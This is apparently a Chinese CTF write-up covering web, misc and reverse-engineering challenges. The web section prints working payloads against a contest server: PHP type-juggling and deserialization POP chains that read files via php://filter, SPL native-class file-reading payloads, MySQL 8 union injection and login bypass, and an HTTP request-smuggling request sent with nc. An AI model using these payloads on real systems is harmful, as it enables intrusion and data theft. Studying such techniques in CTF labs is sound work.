web

web1

 <?php
show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);// json_decode() 函数用于对 JSON 格式的字符串进行解码,并转换为 PHP 变量()

if(is_array($info)){

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;//弱等于,逻辑上与前一个条件(要求year值不等于数字或数字字符串)相反,既然是弱等于,那么判断有2022就可以了,payload可以在2022后加任意字符都满足
    }
    if(is_array(@$info["items"])){//items值为数组
        
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");//要求下标为[1]的元素为数组,且整个items参数长度为3
        
        $status = array_search("skiing", $info["items"]);//在items中检索:返回items[i]键在数组中对应的值,与skiing进行比较(弱等于,也就是0与skiing比较会返回true)
        //字符或字符串与数字比较会将当一个数字与一个字符串/字符进行大小比较时,首先系统尝试将此字符串/字符转换为整型/浮点型,然后进行比较
        
        $status===false?die("Sorry~"):NULL;//要求status值为true,即items中要有skiing字符串
        
        foreach($info["items"] as $key=>$val){//理解:使用items下标作为遍历条件,并将inems下标作为键,将键对应的值赋值给$val
            
            $val==="skiing"?die("Sorry~"):NULL;//要求:$val不能完全等于skiing,提示
        }
        $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?> array(0) { } 

要求:

  1. Information传参为json格式
  2. 参数中year不为数字或数字字符串
  3. 参数items为数组类型,且下标为[1]的元素为数组,整个items参数长度为3
  4. 依次将items中元素与字符串skiing进行比较,返回结果要求为true
  5. items中参数不完全等于(===)skiing

payload:

?Information={"year":"2022asdf","items":[0,[1],0]}

参考:

PHP中的数字与字符串比较

array_search(“red”,$a)函数

在数组中搜索键值 "red",并返回它的键名:
<?php
$a=array("a"=>"red","b"=>"green","c"=>"blue");
echo array_search("red",$a);
?>

web3

1、环境

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);//对传参wish进行反序列化
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){//对象被当做字符串处理
        $this->page = $file;//当前对象指向page变量,page变量赋值为$file的值(触发__toString())
    }
    //__toString() 方法用于一个类被当成字符串时应怎样回应
    public function __toString(){
        return $this->string->page;//返回page(file=<类被实例化时传入的值>)
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {//在创建Road_is_Long对象时自动调用__wakeup(),参数不包含这些关键字就可以绕过
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;//文件包含的变量所指向的值
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
        //当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();//自动调用该函数,创建一个数组赋值给effort?
    }

    public function __get($key){//在读取不可访问得属性时触发,将传入的值传入get()函数
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/ 

2、解题思路

将实体对象作为参数,依次触发__construct($file)——>__toString()——->($effort)__get($key)—–>__invoke()

注意:当payload中存在私有属性时

3、payload

<?php
class Road_is_Long{
    public $page;
    public $string;//用于指向Make_a_Change中的effort
    public function __construct($file){
        $this->page = $file;
    }
    public function __toString(){
        return "karsa";
    }
}

class Make_a_Change{
    public $effort;//将指向的对象结构化的结果放到数组中array()?
} 

class Try_Work_Hard {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php' ;
}

$a = new Road_is_Long('aaa');//触发__toString()
$a->string = new Make_a_Change();//string指向对象
$a->string->effort = new Try_Work_Hard();//string->effort不可访问,触发__get($key)指向effort,返回一个方法(以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用---->传入$var的值)
$b = new Road_is_Long($a);
echo urlencode(serialize($b));
//http://59.110.159.206:7050/?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Bs%3A3%3A%22aaa%22%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D
?>

MRCTF2020]Ezpop—序列化pop链_

Web - pop链构造

web4、

[(74条消息) Pwnhub2021七月赛NewSql(mysql8注入)_bfengj的博客-CSDN博客](https://blog.csdn.net/rfrder/article/details/118726022)

题目描述:

Beaxia的邮箱地址忘记了,你能帮忙找找吗?

Where is the database?
try ?id

sql注入,注入点id?

  1. id测试到9前都有回显
  2. 8是关键字——->SQL8特性(table注入)
  3. http://59.110.159.206:7010/?id=9

SQL8特性参考

使用场景:当select被禁用时,使用TABLE VALUES语句,

由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数

payload1

传参?id=8?
得到信息:
Can you find beaxia's email?
基于SQL8 tablevalues 特性构造payload:
?id=8 union table emails limit 8,1#

得到:
ypHeMPardErE.zip@beaxia.cn

注意----->ypHeMPardErE.zip是一个压缩包文件,url输入,得到压缩包

压缩包中是php源码
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{

    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);

    if ( !sqlWaf($passwd) )
        die('damn hacker');

    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>

关键代码

 $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}

要求

post传参内容中:

  1. username参数值为admin

  2. passwd参数值为所查询字段的值

payload2

1:
username=-1 union values row('admin','admin','admin')%23&passwd=admin

2:
username=-1' union values row('admin','admin','admin')#&passwd=admin
第一个23%我在使用时没有回显,于是将23%换为了#

web5

gunicorn 20.0.4 请求走私漏洞简析(含复现环境&Poc)-Linux实验室 (linuxlz.com)

payload:

echo -en "GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Length: 123\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: 127.0.0.1/fl4g\r\nX-Forwarded-For: 127.0.0.1\r\nsecr3t_ip: 127.0.0.1\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc 59.110.159.206 7020

findme

前言
在学习的过程中,战队里的师傅给我发了一道之前没遇见过的反序列化题,引出了原生类这个方面。这一知识点在后面刷题时也会遇到,提前学习一下。借这道题,对原生类的知识点进行一下学习与记录。

例题:

 <?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }
     
    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);  //此处可调用原生类
    } 
     
    public function yigei(){
        echo 'Your output: '.$this->un4;    //输出回显
    }
    
    public function giao(){
        @eval($this->un2);    //迷惑选项,实际上本题并不是rce
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}

$data = $_POST['data'];
unserialize($data); 
?>

思路是,

unserialize()函数执行时,会执行_destruct()函数,想利用原生类读取文件,需要执行 yigei()函数 , 因此我们要满足 !empty($this->un0) && empty($this->un2) 和 $this -> un3 === ‘unserialize’ 。 这个条件我们可以通过构造序列化来满足。

然后想着如何构造payload才能得到flag。

思路:
 1: 首先应该先用可遍历目录类,找一下文件的路径 hint.php及flag的路径,
 2: 路径确认之后,再用可读取文件类,来读取我们刚确认路径的文件。

<1>利用GlobIterator类测文件路径。

    data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:8:"hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

得到信息:hint.php就在当前目录下。 这里我试着../flag ../flag.php等等找flag,根本找不到,一头雾水,本来还以为是我的原生类利用错了。。师傅提醒我读取一下hint.php试试,因此就去找一下hint.php。

<2> 确定文件目录后,用SplFileObject类进行文件读取。

    data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:8:"hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

没什么变化,但是在源码中发现了

?php类似于伪协议,因此我们继续用伪协议,读取一下 hint.php. 发现 可!

data=O:1:”a”:5:{s:3:”un0”;s:13:”SplFileObject”;s:3:”un1”;s:57:”php://filter/read=convert.base64-encode/resource=hint.php”;s:3:”un2”;N;s:3:”un3”;s:11:”unserialize”;s:3:”un4”;N;}

得到了flag的提示:

知道flag的特征之后,回去利用GlobIterator类,由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。 data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;} 得到flag文件名为:fSSsybePonk_FIndMe.txt 知道了文件名和路径之后,就可以利用可读取文件类SplFileObject来读取flag了。 data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:22:"fSSsybePonk_FIndMe.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;} 得到flag: 上面是一道运用了原生类知识的例题,下面来记一下有关的知识点。 借鉴https://blog.csdn.net/qq_51295677/article/details/123859246?spm=1001.2014.3001.5506 PHP之序列化与反序列化(原生类应用篇sdarrorr0的博客-CSDN博客_php原生类反序列化 两位师傅的介绍,整理了下自己能看懂的笔记: SPL介绍 SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决典型问题(standard problems)的一组接口与类的集合。打开手册,正如上面的定义一样,有许多封装好的类。因为是要解决典型问题,免不了有一些处理文件的 这里是标准库:PHP: SPL - Manual PHP 原生文件操作类 可遍历目录类 可遍历目录类分为下面三个: DirectoryIterator 类 FilesystemIterator 类 GlobIterator 类 1. DirectoryIterator 类 DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。 DirectoryIterator 类会创建一个指定目录的迭代器。当执行到echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名: 例如: '); //echo($tmp->__toString().'
'); //与上句效果一样 } 代码里两个语句一样,这也印证了之前说的echo触发了Directorylterator 中的__toString()方法 。 我们也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径: ');` `//echo($f->__toString().'
');` `}` 小发现:经 php_study 测试发现,如果123.php文件在D://phpstudy_Pro/WWW/ 下。我们可用于确定路径的文件也必须在其中,如D:// 或 D://phpstudy_Pro 或 D://php_study_Pro/WWW .我发现的是这样,如果有误的话希望可以帮忙改正一下🤐 3. GlobIterator 类 GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob()函数,可以通过模式匹配来寻找文件路径。使用这个类不需要额外写上glob:// 还有: Directorylterator类 与 FilesystemIterator 类当我们使用echo函数输出的时候,会触发这两个类中的 __toString() 方法,输出指定目录里面特定排序之后的第一个文件名。也就是说如果我们不循环遍历的话是不能看到指定目录里的全部文件的。而GlobIterator 类在一定程度上解决了这个问题。由于 GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名。例如:例题里我们知道了flag的文件名特征为 以f开头的.txt文件,因此我们可以通过 GlobIterator类来模式匹配:

但是这样也只能读取一行,要想全部读取的话还需要对文件中的每一行内容进行遍历:

'); } ?>

最后,形如:

echo new $this->key($this->value);

$this -> a = new $this->key($this->value);
echo $this->a;

没有pop链的思路和可利用反序列化的函数,一般就是需要用原生类了。

只需要让$this->key值赋为我们想用原生函数,$this->value赋为路径,查就行了。但是这种构造类型的方法的局限性就是只能查一个路径上的第一个文件。
————————————————
版权声明:本文为CSDN博主「葫芦娃42」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_63231007/article/details/124740776


misc

misc1

得到一个图片一个加密txt,图片人往下看,猜测图片大小被修改

步骤:

1.010看宽高:

89 50 4E 47 | 
00 00 03 E8 | 00 00 01 98//前两行分别表示jpg格式,图片宽、高

报错:

*ERROR: CRC Mismatch @ chunk[0]; in data: 027db6c8; expected: d11ec80c

2.修改宽高相等

出现二维码图片

3.二维码转文本——>得到

\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f

该是一种编码格式

参考:CTF常见编码及加解密

(unicode转中文)

得到:在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?

金银铜按顺序连接该是文本密码了15942

参考:BugKu CTF(杂项篇MISC)—隐写 (qq.com)

misc2、降维打击

附件是一张图片,属性没问题(主要是看图片大小)

思路:

  1. 拖到010

  2. png格式,分为两段(貌似两个png合成一个了),将后一段截取出来另存

  3. 得到一张打码图片

  4. 在kali中,使用zsteg/foremost/binwolk相关语句,查看有无文件包含

  5. [zstge安装参考](Kali Linux下安装zsteg - B0mbax - 博客园 (cnblogs.com))

补充:

基于LSB原理的图片隐写,最常用工具就是Stegsolve,但是过程还是有些缓慢和复杂。而zsteg,一个用于检测PNG和BMP中的隐藏数据隐藏数据的工具,可以快速提取隐藏信息。

命令:

zsteg -E "b1,bgr,lsb,xy" 2.png >3.png

foremost 2.png

binwalk 2.png

参考 kali中binwalk/foremost/zip2john工具的配合使用_

misc3、藏在星空里的诗

星空图不透明度100%

flag.txt里边按星星连线得密码(确实winrar)

密码一一对照

misc4、真相只有一个

三个文件:

  1. entity.png

  2. flag.txt

  3. stream

wireshark中分析

re

re1

程序经过脱壳显示为32位,放到IDA中,有一个对flag的加密过程,

过程分为两部分加密,将这两个过程反向还原,即得flag

re3

经过一系列隐秘操作,得到一串十进制码

v21 = 1397828937
v23 = 1313036669
v20 = 1497714515
v22 = 1481460802

v19 = 1127044936
v16 = 1230193475
v18 = 1113150537
v17 = 2068924245

将这些十进制码按顺序,依次各个进行10—->16—–>字符串转码,拼接起来即得flag

1230193475
2068924245
1113150537
1127044936
1497714515
1397828937
1481460802
1313036669